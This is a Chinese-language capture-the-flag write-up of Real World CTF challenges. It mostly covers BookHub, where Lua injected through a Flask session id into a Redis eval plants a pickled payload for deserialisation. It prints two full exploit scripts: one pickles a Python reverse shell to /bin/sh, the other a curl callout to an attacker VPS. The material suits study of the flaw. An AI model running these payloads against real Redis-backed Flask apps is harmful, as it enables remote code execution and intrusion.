长亭出题,对不起签到失败.. 但不管怎么说学习一下吧,简单记录两道题
Advertisement 
 
然后尝试扫目录 发现https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip 
然后拿到flag  
当然还有对uid进行注入然后拿到flag的..反正大概就是要有日平台的心态咯..
BookHub 
 
去拿一下源码,发现是flask框架
然后发现view/user.py里面有一段eval,猜测代码执行
不过需要登录,查看登录代码
1 2 3 4 5 6 7 8 9 10 @user_blueprint.route('/login/' , methods=['GET' , 'POST' ] ) def  login ():    form = LoginForm(data=flask.request.data)     if  form.validate_on_submit():         user = User.query.filter_by(username=form.username.data).first()         login_user(user, remember=form.remember_me.data)         return  flask.redirect(flask.url_for('book.admin' ))     return  flask.render_template('login.html' , form=form) 
 
然后去跟LoginForm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class  LoginForm (FlaskForm ):    username = StringField('username' , validators=[DataRequired()])     password = PasswordField('password' , validators=[DataRequired()])     remember_me = BooleanField('remember_me' , default=False )     def  validate_password (self, field ):         address = get_remote_addr()         whitelist = os.environ.get('WHITELIST_IPADDRESS' , '127.0.0.1' )                  if  not  app.debug and  not  ip_address_in(address, whitelist):             raise  StopValidation(f'your ip address isn\'t in the {whitelist} .' )         user = User.query.filter_by(username=self .username.data).first()         if  not  user or  not  user.check_password(field.data):             raise  StopValidation('Username or password error.' ) 
 
然后去看get_remote_addr()
1 2 3 4 5 6 7 8 9 def  get_remote_addr ():    address = flask.request.headers.get('X-Forwarded-For' , flask.request.remote_addr)     try :         ipaddress.ip_address(address)     except  ValueError:         return  None      else :         return  address 
 
然后我们去改xff,不过发现并不能通过ip验证,猜测是做了一层nginx反代过了xff
然后看到ip里面有一个公网ip:18.213.16.123,扫端口发现5000端口,上去之后发现是调试模式
 
但是发现可以refresh_session   那么我们继续看到eval的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 def  refresh_session ():        """          delete all session except the logined user         :return: json         """         status = 'success'          sessionid = flask.session.sid         prefix = app.config['SESSION_KEY_PREFIX' ]         if  flask.request.form.get('submit' , None ) == '1' :             try :                 rds.eval (rf'''                  local function has_value (tab, val)                     for index, value in ipairs(tab) do                         if value == val then                             return true                         end                     end                     return false                 end                 local inputs = {{ "{prefix} {sessionid} " }}                 local sessions = redis.call("keys", "{prefix} *")                 for index, sid in ipairs(sessions) do                     if not has_value(inputs, sid) then                         redis.call("del", sid)                     end                 end                 ''' , 0 )            except  redis.exceptions.ResponseError as  e:                 app.logger.exception(e)                 status = 'fail'          return  flask.jsonify(dict (status=status)) 
 
是个redis+session的反序列化 参考文章:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html 
然后sessionid可控,这里sessionid是拼接进去的,所以我们可以写入恶意代码
比如写个测试脚本
1 2 3 4 5 prefix='prefix'  sessionid='asijdoasijdoasji",evailcode,"A'  inputs=rf'{{ "{prefix} {sessionid}  "}}'  print (inputs)
 
然后就可以写入段evil代码
1 redis.call("set","bookhub:session:blacsheep",序列化之后的恶意代码) 
 
然后改sessionid为blacsheep的时候就回去反序列化恶意代码,然后触发反弹shell
给个chamd5的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import  requestsimport  reimport  jsonimport  randomimport  stringimport  cPickleimport  osimport  urllibreq = requests.Session() DEBUG = 0  URL = "http://18.213.16.123:5000/"  if  not  DEBUG else  "http://127.0.0.1:5000/"  def  rs (n=6  ):    return  '' .join(random.sample(string.ascii_letters + string.digits, n)) class  exp (object ):    def  __reduce__ (self ):         listen_ip = "127.0.0.1"          listen_port = 1234          s = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''  % (             listen_ip, listen_port)         return  (os.system, (s,)) x = [{'_fresh' : False , '_permanent' : True ,       'csrf_token' : '2f898d232024ac0e0fc5f5e6fdd3a9a7dad462e8' , 'exp' : exp()}] s = cPickle.dumps(x) if  __name__ == '__main__' :    payload = urllib.quote(s)     yoursid = 'vvv'      funcode = r"local function urlDecode(s) s = string.gsub(s, '%%(%x%x)', function(h) return string.char(tonumber(h, 16)) end) return s end"           sid = '%s\\" } %s '  % (rs(6 ), funcode) + \         'redis.call(\\"set\\",\\"bookhub:session:%s\\",\\urlDecode("%s\\")) inputs = { \"bookhub:session:%s\" } --'  % (             yoursid, payload, yoursid)     headers = {         "Cookie" : 'bookhub-session="x%s"'  % sid,         "Content-Type" : "application/x-www-form-urlencoded" ,         'X-CSRFToken' : 'ImY3NGI2MDcxNmQ5NmYwYjExZTQ4N2ZlYTMxNDg0ZGQ3NjA0MGU2OWIi.Dj9f9w.WL0VY6e2y6edFTh6QcOKo9DnzLw' ,     }     res = req.get(URL + 'login/' , headers=headers)     if  res.status_code == 200 :         html = res.content         r = re.findall(r'csrf_token" type="hidden" value="(.*?)">' , html)         if  r:             headers['X-CSRFToken' ] = r[0 ]                          data = {'submit' : '1' }             res = req.post(URL + 'admin/system/refresh_session/' ,                            data=data, headers=headers)             if  res.status_code == 200 :                 print (res.content)             else :                 print (res.content)                          headers['Cookie' ] = 'bookhub-session=vvv'              res = req.get(URL + 'admin/' , headers=headers)             if  res.status_code == 200 :                 print (res.content)             else :                 print (res.content) 
 
然后sky的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  cPickleimport  osclass  exp (object ):    def  __reduce__ (self ):         s = """curl vps_ip:23333"""          return  (os.system,(s,)) e = exp() s = cPickle.dumps(e) s_bypass = ""  for  i in  s:    s_bypass +="string.char(%s).." %ord (i) evilcode = '''  redis.call("set","bookhub:session:skycool",%s) ''' %s_bypass[:-2 ]payload = '''  6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool ''' %evilcodeprint  payload.replace(" " ,"" )
 
写好之后访问以下login页面就可以获得反弹的shell